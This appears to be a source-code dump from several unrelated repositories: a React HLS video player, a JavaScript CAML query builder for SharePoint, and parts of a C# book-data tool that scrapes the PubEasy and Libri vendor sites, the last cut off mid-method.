] | 6 | JavaScript | SEI-ATL-3-8/flask-auth | 9aa4930e9aaaf65a4816bceb314ee82e3af496a1 | d8a1698c39f21935d943ec347e6c9ebff2260ed2 |
refs/heads/master | <repo_name>chrysophyta/player-hls<file_sep>/player-hls/src/config.js
export const DEVICE = {
CHROME: 'chrome',
WEBOS: 'webOs',
TIZEN: 'Tizen'
};
<file_sep>/player-hls/src/Player.js
import React from 'react';
import PropTypes from 'prop-types';
import Hls from 'hls.js';
import styled from 'styled-components';
import { DEVICE } from './config';
class HlsPlayer extends React.Component {
constructor(props) {
super(props);
this.state = {
playerId: Date.now()
};
this.hls = null;
}
componentDidMount() {
if (
navigator.userAgent.match(/Chrome[^ ]+/) &&
navigator.userAgent.match(/Chrome[^ ]+/)[0].match(/[0-9]+/) > 50
) {
this._initPlayer(DEVICE.CHROME);
} else {
this._initPlayer();
}
}
componentWillUnmount() {
let { hls } = this;
if (hls) {
hls.destroy();
}
}
componentWillUpdate(nextProps) {
console.log(this.state);
this.elements.video.playbackRate = nextProps.playbackRate;
if (this.props.src !== nextProps.src) {
if (
navigator.userAgent.match(/Chrome[^ ]+/) &&
navigator.userAgent.match(/Chrome[^ ]+/)[0].match(/[0-9]+/) > 50
) {
this._initPlayer(DEVICE.CHROME);
} else {
this._initPlayer();
}
}
}
_initPlayer(platform) {
let { src, autoplay, hlsConfig } = this.props;
let { video: $video } = this.elements;
switch (platform) {
case DEVICE.CHROME:
if (this.hls) {
this.hls.destroy();
}
let hls = new Hls(hlsConfig);
if (!Hls.isSupported()) console.error('Not support Hls!');
hls.loadSource(src);
hls.attachMedia($video);
hls.on(Hls.Events.MANIFEST_PARSED, () => {
if (autoplay) {
$video.play();
}
});
this.hls = hls;
break;
default:
let source = document.createElement('source');
source.src = this.props.src;
$video.appendChild(source);
if (autoplay) {
$video.play();
}
}
}
render() {
const { id, controls, poster, className, preload, style, src } = this.props;
return (
<PlayerBlock key={this.state.playerId}>
<video
ref={a => (this.elements = { video: a })}
id={id}
controls={controls}
poster={poster}
className={className}
style={style}
preload={preload}
src={src}
/>
</PlayerBlock>
);
}
}
HlsPlayer.propTypes = {
src: PropTypes.string.isRequired,
autoplay: PropTypes.bool,
hlsConfig: PropTypes.object, //https://github.com/video-dev/hls.js/blob/master/doc/API.md#fine-tuning
controls: PropTypes.bool,
poster: PropTypes.string,
className: PropTypes.string,
style: PropTypes.object
};
HlsPlayer.defaultProps = {
autoplay: false,
hlsConfig: {},
controls: false,
preload: 'auto'
};
export default HlsPlayer;
const PlayerBlock = styled.div`
width: 100vw;
position: relative;
top: 0;
`;
// height: 100vh;
| deb44e3058db46b1485e4bcefe9c61fe280938a3 | [
"JavaScript"
] | 2 | JavaScript | chrysophyta/player-hls | f768cb3ce53af4ae3e9d182938dd62fc002564b1 | 2f747cec3742d55b3583d4fe2d9eddeace4ef9bb |
refs/heads/master | <file_sep>DDCamlBuilder.js
================
A self-contained script for generating CAML queries.
Complex example
---------------
data1 =
field1: 'value1'
field2: 'value2'
field3: 'value3'
field4: 'value4'
data2=
f1: 'v1'
f2: 'v2'
f3: 'v3'
comps1 = (caml.Eq(k, caml.Text v) for own k, v of data1)
comps2 = (caml.Eq(k, caml.Text v) for own k, v of data2)
q = new caml.Query()
q.condition = caml.And (caml.Or comps1...), (caml.Or comps2...)
console.log q.toString()
Todo
----
- More helper functions
- More tests
- Documentation
- Examples
<file_sep>// Generated by CoffeeScript 1.3.3
(function() {
var __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; },
__hasProp = {}.hasOwnProperty,
__slice = [].slice;
(function() {
var c, caml, v, _fn, _fn1, _fn2, _fn3, _global, _i, _j, _k, _l, _len, _len1, _len2, _len3, _previousCaml, _ref, _ref1, _ref2, _ref3;
caml = {};
caml.Value = (function() {
function Value(value, type) {
this.value = value;
this.type = type;
this.toString = __bind(this.toString, this);
}
Value.prototype.toString = function(level) {
var i, ind;
if (level == null) {
level = 0;
}
ind = ((function() {
var _i, _ref, _results;
_results = [];
for (i = _i = 0, _ref = level * 2; 0 <= _ref ? _i < _ref : _i > _ref; i = 0 <= _ref ? ++_i : --_i) {
_results.push(' ');
}
return _results;
})()).join('');
return "" + ind + "<Value Type='" + this.type + "'>" + this.value + "</Value>";
};
return Value;
})();
caml.Field = (function() {
function Field(name, options) {
this.name = name;
this.options = options != null ? options : {};
this.toString = __bind(this.toString, this);
this.getOptionsString = __bind(this.getOptionsString, this);
}
Field.prototype.getOptionsString = function() {
var k, v;
return ((function() {
var _ref, _results;
_ref = this.options;
_results = [];
for (k in _ref) {
if (!__hasProp.call(_ref, k)) continue;
v = _ref[k];
_results.push("" + k + "=\"" + v + "\" ");
}
return _results;
}).call(this)).join('');
};
Field.prototype.toString = function(level) {
var i, ind;
if (level == null) {
level = 0;
}
ind = ((function() {
var _i, _ref, _results;
_results = [];
for (i = _i = 0, _ref = level * 2; 0 <= _ref ? _i < _ref : _i > _ref; i = 0 <= _ref ? ++_i : --_i) {
_results.push(' ');
}
return _results;
})()).join('');
return "" + ind + "<FieldRef Name='" + this.name + "' " + (this.getOptionsString()) + "/>";
};
return Field;
})();
caml.Comparator = (function() {
function Comparator(comparator, field, value) {
this.comparator = comparator;
this.field = field != null ? field : null;
this.value = value != null ? value : null;
this.toString = __bind(this.toString, this);
}
Comparator.prototype.toString = function(level) {
var i, ind;
if (level == null) {
level = 0;
}
ind = ((function() {
var _i, _ref, _results;
_results = [];
for (i = _i = 0, _ref = level * 2; 0 <= _ref ? _i < _ref : _i > _ref; i = 0 <= _ref ? ++_i : --_i) {
_results.push(' ');
}
return _results;
})()).join('');
return "" + ind + "<" + this.comparator + ">\n" + (this.field.toString(level + 1)) + (this.value != null ? '\n' + this.value.toString(level + 1) : '') + "\n" + ind + "</" + this.comparator + ">";
};
return Comparator;
})();
caml.Condition = (function() {
function Condition() {
var comparators, condition;
condition = arguments[0], comparators = 2 <= arguments.length ? __slice.call(arguments, 1) : [];
this.condition = condition;
this.add = __bind(this.add, this);
this.toString = __bind(this.toString, this);
this.add.apply(this, comparators);
}
Condition.prototype.toString = function(level) {
var i, ind;
if (level == null) {
level = 0;
}
if (this.side_b == null) {
return this.side_a.toString(level);
}
ind = ((function() {
var _i, _ref, _results;
_results = [];
for (i = _i = 0, _ref = level * 2; 0 <= _ref ? _i < _ref : _i > _ref; i = 0 <= _ref ? ++_i : --_i) {
_results.push(' ');
}
return _results;
})()).join('');
return "" + ind + "<" + this.condition + ">\n" + (this.side_a.toString(level + 1)) + "\n" + (this.side_b.toString(level + 1)) + "\n" + ind + "</" + this.condition + ">";
};
Condition.prototype.add = function() {
var comparator, comparators, _i, _len;
comparators = 1 <= arguments.length ? __slice.call(arguments, 0) : [];
for (_i = 0, _len = comparators.length; _i < _len; _i++) {
comparator = comparators[_i];
if (this.side_a == null) {
this.side_a = comparator;
continue;
}
if (this.side_b == null) {
this.side_b = comparator;
continue;
}
this.side_b = new caml.Condition(this.condition, this.side_b, comparator);
}
return this;
};
return Condition;
})();
caml.Query = (function() {
Query.prototype.orderByFields = [];
function Query(condition, orderByFields) {
this.condition = condition;
this.addOrderBy = __bind(this.addOrderBy, this);
this.toString = __bind(this.toString, this);
this.addOrderBy(orderByFields);
}
Query.prototype.toString = function(level) {
var i, ind, orderByQuery, whereQuery;
if (level == null) {
level = 0;
}
ind = ((function() {
var _i, _ref, _results;
_results = [];
for (i = _i = 0, _ref = level * 2; 0 <= _ref ? _i < _ref : _i > _ref; i = 0 <= _ref ? ++_i : --_i) {
_results.push(' ');
}
return _results;
})()).join('');
whereQuery = '';
if (this.condition != null) {
whereQuery = "\n" + ind + " <Where>\n" + (this.condition.toString(level + 2)) + "\n" + ind + " </Where>";
}
orderByQuery = '';
if (this.orderByFields.length > 0) {
orderByQuery = "\n" + ind + " <OrderBy>\n" + ind + " " + (this.orderByFields.join('\n ' + ind)) + "\n" + ind + " </OrderBy>";
}
return "" + ind + "<Query>" + whereQuery + orderByQuery + "\n" + ind + "</Query>";
};
Query.prototype.addOrderBy = function(_orderByFields) {
var f;
if (_orderByFields == null) {
_orderByFields = [];
}
if (Object.prototype.toString.call(_orderByFields) !== '[object Array]') {
_orderByFields = [_orderByFields];
}
_orderByFields = (function() {
var _i, _len, _results;
_results = [];
for (_i = 0, _len = _orderByFields.length; _i < _len; _i++) {
f = _orderByFields[_i];
if (f instanceof caml.Field) {
_results.push(f);
} else {
_results.push(new caml.Field(f));
}
}
return _results;
})();
return this.orderByFields = this.orderByFields.concat(_orderByFields);
};
return Query;
})();
_ref = ['And', 'Or'];
_fn = function(c) {
return caml[c] = function() {
var comparators;
comparators = 1 <= arguments.length ? __slice.call(arguments, 0) : [];
return (function(func, args, ctor) {
ctor.prototype = func.prototype;
var child = new ctor, result = func.apply(child, args), t = typeof result;
return t == "object" || t == "function" ? result || child : child;
})(caml.Condition, [c].concat(__slice.call(comparators)), function(){});
};
};
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
c = _ref[_i];
_fn(c);
}
_ref1 = ['BeginsWith', 'Contains', 'DateRangesOverlap', 'Eq', 'Geq', 'Gt', 'Includes', 'Leq', 'Lt', 'Neq', 'NotIncludes'];
_fn1 = function(c) {
return caml[c] = function(field, value) {
if (!(field instanceof caml.Field)) {
field = new caml.Field(field);
}
return new caml.Comparator(c, field, value);
};
};
for (_j = 0, _len1 = _ref1.length; _j < _len1; _j++) {
c = _ref1[_j];
_fn1(c);
}
_ref2 = ['IsNotNull', 'IsNull'];
_fn2 = function(c) {
return caml[c] = function(field) {
if (!(field instanceof caml.Field)) {
field = new caml.Field(field);
}
return new caml.Comparator(c, field);
};
};
for (_k = 0, _len2 = _ref2.length; _k < _len2; _k++) {
c = _ref2[_k];
_fn2(c);
}
_ref3 = ['Integer', 'Text', 'Note', 'DateTime', 'Counter', 'Choice', 'Lookup', 'Boolean', 'Number', 'Currency', 'URL', 'Computed', 'Threading', 'Guid', 'MultiChoice', 'GridChoice', 'Calculated', 'File', 'Attachments', 'User', 'Recurrence', 'CrossProjectLink', 'ModStat', 'ContentTypeId', 'PageSeparator', 'ThreadIndex', 'WorkflowStatus', 'AllDayEvent', 'WorkflowEventType'];
_fn3 = function(v) {
return caml[v] = function(val) {
return new caml.Value(val, v);
};
};
for (_l = 0, _len3 = _ref3.length; _l < _len3; _l++) {
v = _ref3[_l];
_fn3(v);
}
if (typeof module !== "undefined" && module !== null) {
return module.exports = caml;
} else {
_global = this;
_previousCaml = _global.caml;
caml.noConflict = function() {
_global.caml = _previousCaml;
return caml;
};
return _global.caml = caml;
}
})();
}).call(this);
| 942a25a2d9b09dcd383bd1b659fc13d43ff6354f | [
"Markdown",
"JavaScript"
] | 2 | Markdown | DiogoDoreto/DDCamlBuilder.js | 2888c0718ceee8f69f9be99351988d687460c6cc | 08e4f4ba3fb3aafefe8e9f301f03425ae8b5522e |
refs/heads/master | <file_sep>using System;
using System.Windows;
namespace RELOD_Tools
{
/// <summary>
/// Логика взаимодействия для DataGrid.xaml
/// </summary>
public partial class DataGrid : Window
{
public DataGrid()
{
InitializeComponent();
}
}
}
<file_sep>using System;
using System.Windows;
namespace RELOD_Tools.WebParsing.WebSearch
{
static class Errors
{
public static void LoginPageError(Exception ex)
{
MessageBox.Show("При попытке залогиниться произошла ошибка :(\n" + ex, "Ошибка", MessageBoxButton.OK, MessageBoxImage.Error);
}
public static void CustomError(Exception ex)
{
MessageBox.Show("При выполнении программы что-то пошло не так :(\n" + ex, "Ошибка", MessageBoxButton.OK, MessageBoxImage.Error);
}
public static void EmptyISBNError()
{
MessageBox.Show("Введите хотя бы один ISBN.");
}
}
}
<file_sep>using RELOD_Tools.WebSearch;
using OpenQA.Selenium;
using System;
using System.Linq;
using System.Windows;
using System.Windows.Threading;
using OpenQA.Selenium.Support.UI;
using RELOD_Tools.Logic;
using OpenQA.Selenium.Chrome;
namespace RELOD_Tools.WebParsing.WebSearch.Site
{
class PubEasy : SiteSearchModel
{
IWebDriver cd = new ChromeDriver();
public PubEasy(string[] isbns)
{
string loginPage = "https://beta.pubeasy.com/static/pubeasy/index.html";
string login = "Логин";
string username = "<NAME>";
string password = "<PASSWORD>";
bool notFound = false;
// Настраиваем Progress Bar
PB.Show();
int isbnsLength = isbns.Length;
PB.progressBar.Minimum = 0;
PB.progressBar.Maximum = isbnsLength;
PB.progressBar.Value = 0;
double progressvalue = 1;
UpdateProgressBarDelegate updatePbDelegate = new UpdateProgressBarDelegate(PB.progressBar.SetValue);
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background, new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
WebDriverWait wait5 = new WebDriverWait(cd, TimeSpan.FromSeconds(5));
WebDriverWait wait10 = new WebDriverWait(cd, TimeSpan.FromSeconds(10));
WebDriverWait wait16 = new WebDriverWait(cd, TimeSpan.FromSeconds(16));
try
{
cd.Url = loginPage;
IWebElement element;
element = cd.FindElement(By.XPath("//li/a[contains(@href, 'login')]"));
element.Click();
// КОД для логина и пароля
element = cd.FindElement(By.Id("login-id"));
element.SendKeys(login);
element = cd.FindElement(By.Id("user-id"));
element.SendKeys(username);
element = cd.FindElement(By.Id("login-password"));
element.SendKeys(password);
element = cd.FindElement(By.XPath("//input[contains(@type, 'submit')]"));
element.Click();
element = cd.FindElement(By.XPath("//a[contains(text(), 'SEARCH NOW >')]"));
element.Click();
try
{
for (int i = 0; i < isbns.Length; i++)
{
// Присваиваем порядковый номер
number = (i + 1).ToString();
// Присваиваем ISBN
isbn = isbns[i].Replace("\n", "");
isbn = isbn.Replace("\r", "");
// Передаем данные в Progress Bar для увеличения шкалы и обновления UI
PB.Title = $"Поиск по сайту PubEasy. Обработано {i + 1} из {isbnsLength}";
PB.progressBar.Value++;
progressvalue++;
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background,
new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
if (isbn != string.Empty)
{
// Переключаем драйвер на первую вкладку браузера
cd.SwitchTo().Window(cd.WindowHandles.First());
element = cd.FindElement(By.XPath("//*[@id = 'search']/input"));
element.Clear();
element.SendKeys(isbn);
element.SendKeys(Keys.Enter);
try
{
// КОД для определения нашлась ли искомая позиция
element = cd.FindElement(By.XPath("//strong[contains(text(), 'No records found')]"));
notFound = true;
cd.Navigate().Back();
}
catch { }
if (notFound != true)
{
try // Поиск наименования
{
element = cd.FindElement(By.XPath("//tr[@class = 'odd']//a[2]/font"));
title = element.Text;
title = title.Replace("\n", " ");
title = title.Replace("\r", " ");
}
catch { }
try // Поиск автора
{
element = cd.FindElement(By.XPath("//tr[@class = 'odd']/td[2]"));
author = element.Text;
}
catch { }
try // Поиск даты издания
{
element = cd.FindElement(By.XPath("//tr[@class = 'odd']/td[6]"));
pubDate = element.Text;
pubDate = pubDate.Replace("\n", " ");
pubDate = pubDate.Replace("\r", " ");
}
catch { }
try // Поиск издательства
{
element = cd.FindElement(By.XPath("//tr[@class = 'odd']/td[4]"));
publisher = element.Text;
}
catch { }
try // Поиск поставщика
{
element = cd.FindElement(By.XPath("//tr[@class = 'odd']/td[5]"));
supplier = element.Text;
}
catch { }
try // Поиск цены
{
element = cd.FindElement(By.XPath("//tr[@class = 'odd']/td[7]"));
priceWithCurrency = element.Text;
priceWithCurrency = priceWithCurrency.Replace("\r", " ");
priceWithCurrency = priceWithCurrency.Replace("\n", " ");
priceWithCurrency = priceWithCurrency.Replace(" (Retail)", "");
priceWithCurrency = priceWithCurrency.Replace(" (List)", "");
price = priceWithCurrency.Replace(" GBP", "");
price = price.Replace(".", ",");
}
catch { }
try // Поиск доступности
{
element = cd.FindElement(By.XPath("//tr[@class = 'odd']/td[8]"));
availability = element.Text;
availability = availability.Replace("\n", " ");
availability = availability.Replace("\r", " ");
}
catch { }
try // Поиск обложки
{
element = cd.FindElement(By.XPath("//tr[@class = 'odd']/td[3]"));
bookCover = element.Text;
}
catch { }
if (supplier.StartsWith("bertram", StringComparison.OrdinalIgnoreCase) |
supplier.StartsWith("gardners", StringComparison.OrdinalIgnoreCase))
{
ClearBookList();
}
try
{
// Пытаемся перейти по ссылке Availability ==========
element = cd.FindElement(By.XPath("//*[@class = 'odd']/td[8]/a"));
element.Click();
// ==================================================
try
{
cd.SwitchTo().Window(cd.WindowHandles.Last());
element = cd.FindElement(By.XPath("//iframe[@class = 'embed-responsive-item']"));
cd.SwitchTo().Frame(element);
wait16.Until(SeleniumExtras.WaitHelpers.ExpectedConditions.ElementExists(By.XPath("//*[@class = 'table-responsive']/table/tbody/tr[6]/td[2]")));
//Меняем наименование ===============================
title = cd.FindElement(By.XPath("//*[@class = 'table-responsive']/table/tbody/tr/td[2]")).Text;
// ==================================================
//Проверка соответсвия цены =========================
try
{
element = cd.FindElement(By.XPath("//tr[@valign = 'TOP' and .//td[contains(text(), 'Price')]]/td[2]"));
priceComparision = element.Text;
priceComparision = priceComparision.Replace("\r\n", " ");
priceComparision = priceComparision.Replace(" (Retail)", "");
priceComparision = priceComparision.Replace("(Retail)", "");
priceComparision = priceComparision.Replace(" (British Pounds)", "");
priceComparision = priceComparision.Replace("(British Pounds)", "");
priceComparision = priceComparision.Replace(" (List)", "");
priceComparision = priceComparision.Replace("(List)", "");
priceComparision = priceComparision.Replace(" GBP", "");
priceComparision = priceComparision.Replace(".", ",");
priceComparision = priceComparision.Replace("Not applicable", "");
if (price == priceComparision)
{
priceComparision = string.Empty;
}
}
catch { }
// ==================================================
//Поиск скидки ==========================================
try
{
element = cd.FindElement(By.XPath("//tr[@valign = 'TOP' and .//td[contains(text(), 'Base Discount')]]/td[2]"));
discount = element.Text;
discount = discount.Replace("%", "");
discount = discount.Replace(".", ",");
}
catch { }
// ==================================================
// Market Restrictions ==============================
try
{
element = cd.FindElement(By.XPath("//tr[@valign = 'TOP' and .//td[contains(text(), 'Market Restrictions')]]/td[2]"));
marketRestrictions = element.Text;
}
catch { }
// ==================================================
// Availability со второй страницы ==================
try
{
element = cd.FindElement(By.XPath("//tr[@valign = 'TOP' and .//td[contains(text(), 'Availability')]]/td[2]"));
availability2 = element.Text;
availability2 = availability2.Replace("\n", "");
availability2 = availability2.Replace("\r", "");
}
catch { }
// ==================================================
cd.Close();
}
catch
{
priceComparision = "Страница не загрузилась.";
cd.Close();
}
}
catch
{ }
}
notFound = false;
AddBookToList();
ClearBookList();
}
}
}
catch (Exception ex)
{
cd.Quit();
PB.Close();
Errors.CustomError(ex);
}
cd.Quit();
PB.Close();
WorkWithFile.SaveFile(book);
}
catch (Exception ex)
{
cd.Quit();
PB.Close();
Errors.LoginPageError(ex);
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
namespace RELOD_Tools.WebSearch
{
abstract class SiteSearchModel
{
protected ProgressBar PB = new ProgressBar();
protected delegate void UpdateProgressBarDelegate(System.Windows.DependencyProperty dp, Object value);
protected SiteSearchModel()
{
// Сразу добавляем книгу (для шапки)
InitBook();
}
protected List<BookModel> book = new List<BookModel>();
protected string number = "";
protected string isbn = "";
protected string isbn2 = "";
protected string title = "";
protected string author = "";
protected string pubDate = "";
protected string publisher = "";
protected string imprint = "";
protected string supplier = "";
protected string priceWithCurrency = "";
protected string price = "";
protected string priceComparision = "";
protected string discount = "";
protected string availability = "";
protected string availability2 = "";
protected string marketRestrictions = "";
protected string readership = "";
protected string edition = "";
protected string weight = "";
protected string dimensions = "";
protected string pubCountry = "";
protected string classification = "";
protected string bookCover = "";
protected string pages = "";
protected string series = "";
protected string description = "";
protected string language = "";
protected string contents = "";
protected string length = "";
protected string height = "";
protected string width = "";
protected string imageUrl = "";
private void InitBook()
{
book.Add(new BookModel()
{
Number = "Номер",
Isbn = "ISBN",
Isbn2 = "ISBN_2",
Title = "Наименование",
Author = "Автор",
PubDate = "Дата публикации",
Publisher = "Издательство",
Imprint = "Импринт (Divison для ABE-IPS)",
Supplier = "Поставщик",
PriceWithCurrency = "Цена с валютой",
Price = "Цена",
PriceComparision = "Сравнение цены (для PubEasy)",
Discount = "Скидка (для ABE-IPS сразу указывается цена со скидкой)",
Availability = "Доступность",
Availability2 = "Доступность_2 (для PubEasy)",
MarketRestrictions = "Market Restrictions",
Readership = "Читательская группа",
Edition = "Издание",
Weight = "Вес",
Dimensions = "Размеры",
PubCountry = "Страна издания",
Classification = "Классификация",
BookCover = "Обложка",
Pages = "Страницы",
Series = "Серия",
Description = "Описание",
Language = "Язык",
Contents = "Содержание",
Length = "Длина",
Width = "Ширина",
Height = "Высота",
ImageUrl = "Ссылка на картинку"
});
}
// Функция добавляет элементы в List<BookModel> для его последующего сохранения в файл
protected void AddBookToList()
{
book.Add(new BookModel()
{
Number = number,
Isbn = isbn,
Isbn2 = isbn2,
Title = title,
Author = author,
PubDate = pubDate,
Publisher = publisher,
Imprint = imprint,
Supplier = supplier,
PriceWithCurrency = priceWithCurrency,
Price = price,
PriceComparision = priceComparision,
Discount = discount,
Availability = availability,
Availability2 = availability2,
MarketRestrictions = marketRestrictions,
Readership = readership,
Edition = edition,
Weight = weight,
Dimensions = dimensions,
PubCountry = pubCountry,
Classification = classification,
BookCover = bookCover,
Pages = pages,
Series = series,
Description = description,
Language = language,
Contents = contents,
Length = length,
Height = height,
Width = width,
ImageUrl = imageUrl
});
}
// Функция для очистки переменных. Это нужно для того чтобы после каждой итерации поиска позиций обнулялись переменные,
// т.к. в них остаются данные которые могут быть не перезаписаны в следующей итерации (если например по первой книге был автор,
// а в следующей книге его нет)
protected void ClearBookList()
{
isbn2 = string.Empty;
title = string.Empty;
author = string.Empty;
pubDate = string.Empty;
publisher = string.Empty;
imprint = string.Empty;
supplier = string.Empty;
priceWithCurrency = string.Empty;
price = string.Empty;
priceComparision = string.Empty;
discount = string.Empty;
availability = string.Empty;
availability2 = string.Empty;
marketRestrictions = string.Empty;
readership = string.Empty;
edition = string.Empty;
weight = string.Empty;
dimensions = string.Empty;
pubCountry = string.Empty;
classification = string.Empty;
bookCover = string.Empty;
pages = string.Empty;
series = string.Empty;
description = string.Empty;
language = string.Empty;
contents = string.Empty;
length = string.Empty;
height = string.Empty;
width = string.Empty;
imageUrl = string.Empty;
}
}
}
<file_sep>using RELOD_Tools.Logic;
using System;
using System.Collections.Generic;
using System.IO;
using System.Windows;
namespace RELOD_Tools.AuthorsCompare
{
public class AuthorsComparer
{
public AuthorsComparer(string authorsForComare)
{
// Создаем массив с авторами для сравнения (пользовательский)
authorsForComare = authorsForComare.Replace("\r", "");
string[] authors = authorsForComare.Split('\n');
// Создаем массив с авторами из файла (с этим массивом мы будем сравнивать новый массив авторов authors)
string[] authorsSavedList = File.ReadAllLines("authors.txt");
string[,] compareList = new string[authorsSavedList.Length, 3];
// В ячейку compareList[i, 0] записываем исходные данные автора
// В ячейку compareList[i, 1] записываем очищенные данные (без запятых, кавычек, пробелов и т.д)
// В ячейку compareList[i, 2] записываем отсортированные данные
for (int i = 0; i < authorsSavedList.Length; i++)
{
compareList[i, 0] = authorsSavedList[i];
compareList[i, 1] = AlphabetCheck.Check(compareList[i, 0]);
compareList[i, 1] = compareList[i, 1].Replace(" ", "");
compareList[i, 1] = compareList[i, 1].Replace(",", "");
compareList[i, 1] = compareList[i, 1].Replace("-", "");
compareList[i, 1] = compareList[i, 1].Replace(".", "");
compareList[i, 1] = compareList[i, 1].Replace("/", "");
compareList[i, 1] = compareList[i, 1].Replace("\\", "");
compareList[i, 1] = compareList[i, 1].Replace("'", "");
compareList[i, 1] = compareList[i, 1].Replace("\"", "");
compareList[i, 1] = compareList[i, 1].Replace("_", "");
compareList[i, 1] = compareList[i, 1].ToLower();
char[] temp = compareList[i, 1].ToCharArray();
Array.Sort(temp);
compareList[i, 2] = new string(temp);
}
//==================================================================================================
List<AuthorsList> authorsList = new List<AuthorsList>();
string tempAuthor;
for (int i = 0; i < authors.Length; i++)
{
// Убираем все лишние символы, т.к. автор может быть написан как "<NAME>" так и "<NAME>"
tempAuthor = AlphabetCheck.Check(authors[i]);
tempAuthor = tempAuthor.Replace(" ", "");
tempAuthor = tempAuthor.Replace(",", "");
tempAuthor = tempAuthor.Replace("-", "");
tempAuthor = tempAuthor.Replace(".", "");
tempAuthor = tempAuthor.Replace("/", "");
tempAuthor = tempAuthor.Replace("\\", "");
tempAuthor = tempAuthor.Replace("'", "");
tempAuthor = tempAuthor.Replace("\"", "");
tempAuthor = tempAuthor.Replace("_", "");
tempAuthor = tempAuthor.ToLower();
//==================================================================================================
// В этой части разбиваем автора на символы и складываем хешсумму
char[] temp = tempAuthor.ToCharArray();
Array.Sort(temp);
string sortedAuthor = "";
for (int j = 0; j < compareList.GetUpperBound(0); j++)
{
if ( new string(temp) == compareList[j, 2])
{
sortedAuthor = compareList[j, 0];
}
}
//==================================================================================================
authorsList.Add(new AuthorsList
{
OriginAuthor = authors[i],
SortedAuthorName = tempAuthor,
NameInBitrix = sortedAuthor,
});
}
DataGrid DG = new DataGrid();
DG.Title = "Таблица сравнения";
DG.dataGrid.ItemsSource = authorsList;
DG.Show();
}
private class AuthorsList
{
public string OriginAuthor { get; set; }
public string SortedAuthorName { get; set; }
public string NameInBitrix { get; set; }
}
}
}
<file_sep>using RELOD_Tools.Logic;
using RELOD_Tools.WebSearch;
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Threading;
using System.Windows;
using System.Windows.Threading;
namespace RELOD_Tools.WebParsing.WebSearch.Site
{
class Libri:SiteSearchModel
{
HttpWebRequest request;
HttpWebResponse response;
CookieContainer cookieContainer = new CookieContainer();
StreamReader sr;
public Libri(string[] isbns)
{
string loginPage = "https://mein.libri.de/en/Login.html";
string isbnUrl = "https://mein.libri.de/en/produkt/";
string accountNumber = "Номер аккаунта";
string username = "<NAME>";
string password = "<PASSWORD>";
string pageSource = string.Empty;
string temp = string.Empty;
// Настраиваем Progress Bar
PB.Show();
int isbnsLength = isbns.Length;
PB.progressBar.Minimum = 0;
PB.progressBar.Maximum = isbnsLength;
PB.progressBar.Value = 0;
double progressvalue = 1;
UpdateProgressBarDelegate updatePbDelegate = new UpdateProgressBarDelegate(PB.progressBar.SetValue);
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background, new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
cookieContainer = GetCookie(loginPage, accountNumber, username, password);
try
{
for (int i = 0; i < isbns.Length; i++)
{
pageSource = string.Empty;
// Пауза чтобы не нагружать сервер :)
Thread.Sleep(1000);
// Присваиваем порядковый номер
number = (i + 1).ToString();
// Присваиваем ISBN
isbn = isbns[i].Replace("\n", "");
isbn = isbn.Replace("\r", "");
// Передаем данные в Progress Bar для увеличения шкалы и обновления UI
PB.Title = $"Поиск по сайту Libri. Обработано {i + 1} из {isbnsLength}";
PB.progressBar.Value++;
progressvalue++;
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background,
new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
// Отправляем первый запрос по ISBN. Ответом нам будет страница с карточкой товара
if (isbn != "")
{
request = (HttpWebRequest)WebRequest.Create(isbnUrl + isbn);
request.CookieContainer = cookieContainer;
response = (HttpWebResponse)request.GetResponse();
sr = new StreamReader(response.GetResponseStream());
pageSource = sr.ReadToEnd();
}
//==================================================================================================
// Проверка, не слетел ли наш логин
if (pageSource.Contains("Please enter your login information."))
{
MessageBox.Show("Не удалось авторизоваться. Поиск остановлен.");
break;
}
//==================================================================================================
// Блок обработки страницы с ответом
if (pageSource != string.Empty)
{
pageSource = AlphabetCheck.Check(pageSource);
// Блок проверки соответствия ISBN. Сравниваем тот ISBN который был в списке с тем что нашли.
// Если они не равны, тогда в столбце ISBN2 указываем что ISBN не совпадает.
temp = "Article no./EAN";
if (pageSource.Contains(temp))
{
string checkISBN = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
checkISBN = checkISBN.Substring(checkISBN.IndexOf("<td>") + 4);
checkISBN = checkISBN.Remove(checkISBN.IndexOf("<"));
checkISBN = AlphabetCheck.Check(checkISBN);
if (isbn != checkISBN)
{
isbn2 = "ISBN не совпадает: " + checkISBN;
}
}
// Присваиваем наименование
temp = "<div class=\"col-md-6\"><h1>";
if (pageSource.Contains(temp))
{
title = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
title = title.Remove(title.IndexOf("<"));
title = AlphabetCheck.Check(title);
}
// Присваиваем автора
temp = "<td class=\"detail-label\"> Author </td>";
if (pageSource.Contains(temp))
{
author = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
author = author.Replace("<td>", "");
author = author.Remove(author.IndexOf("</td>"));
author = author.Replace("<br>", ";");
author = AlphabetCheck.Check(author);
}
// Присваиваем дату издания
temp = "<td class=\"detail-label\"> Release date </td> <td>";
if (pageSource.Contains(temp))
{
pubDate = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
pubDate = pubDate.Remove(pubDate.IndexOf("<"));
pubDate = AlphabetCheck.Check(pubDate);
}
// Присваиваем издательство
temp = "<td class=\"detail-label\"> Publisher </td> <td class=\"info-column\">";
if (pageSource.Contains(temp))
{
publisher = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
publisher = publisher.Remove(publisher.IndexOf("<"));
publisher = AlphabetCheck.Check(publisher);
}
// Присваиваем цену с валютой и без нее
temp = "<span class=\"price\">";
if (pageSource.Contains(temp))
{
priceWithCurrency = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
priceWithCurrency = priceWithCurrency.Remove(priceWithCurrency.IndexOf("<"));
priceWithCurrency = priceWithCurrency.Replace(".", ",");
price = priceWithCurrency.Remove(priceWithCurrency.IndexOf(" "));
}
// Присваиваем скидку
